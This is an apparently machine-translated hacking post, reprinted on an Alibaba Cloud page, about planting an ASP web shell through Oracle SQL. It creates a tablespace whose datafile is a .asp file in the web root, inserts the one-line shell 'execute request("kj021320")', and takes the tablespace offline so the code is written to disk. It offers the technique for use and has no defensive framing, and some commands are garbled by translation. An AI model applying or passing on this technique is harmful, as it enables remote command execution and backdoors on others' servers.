Create a data file WriteWebShell in ORACLE

Source: Internet
Author: User

Author: kj021320

Reprinted please indicate the source

In fact, there is no need to use such a method for a powerful database like ORACLE.

The SQLJ stored procedure can also write files, forcing the other machine to not support sqlj and the UTL_FILE package to be killed?

You can also use the following method.

 

SQL> create tablespace kjtest datafile e: websitekj. asp size 100 k nologging;

The tablespace has been created.

 

Here, we remember that K is the smallest unit of ORACLE tablespace. If your SHELL is large, K is more secure.

However, we recommend that you use the most concise sentence.

 

SQL> CREATE TABLE WEBSHELL (C varchar2 (100) tablespace kjtest;

The table has been created.

 

Generally, the VARCHAR type is used, and the tablespace is too small. Therefore, it cannot be CLOB or BLOB.

 

SQL> insert into WEBSHELL values (<% execute request ("kj021320") %> );

One row has been created.

SQL> commit;

Submitted.

 

After the submission is complete, OK? NO ~ Because the data has not been flushed to the file by the DBWn process, you need to synchronize the current table space of CKPT and OFFLINE.

 

SQL> alter tablespace kjtest offline;

The tablespace has been changed.

 

Here, your SHELL code has been written to that file.

<% Execute request ("kj021320") %> Z

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.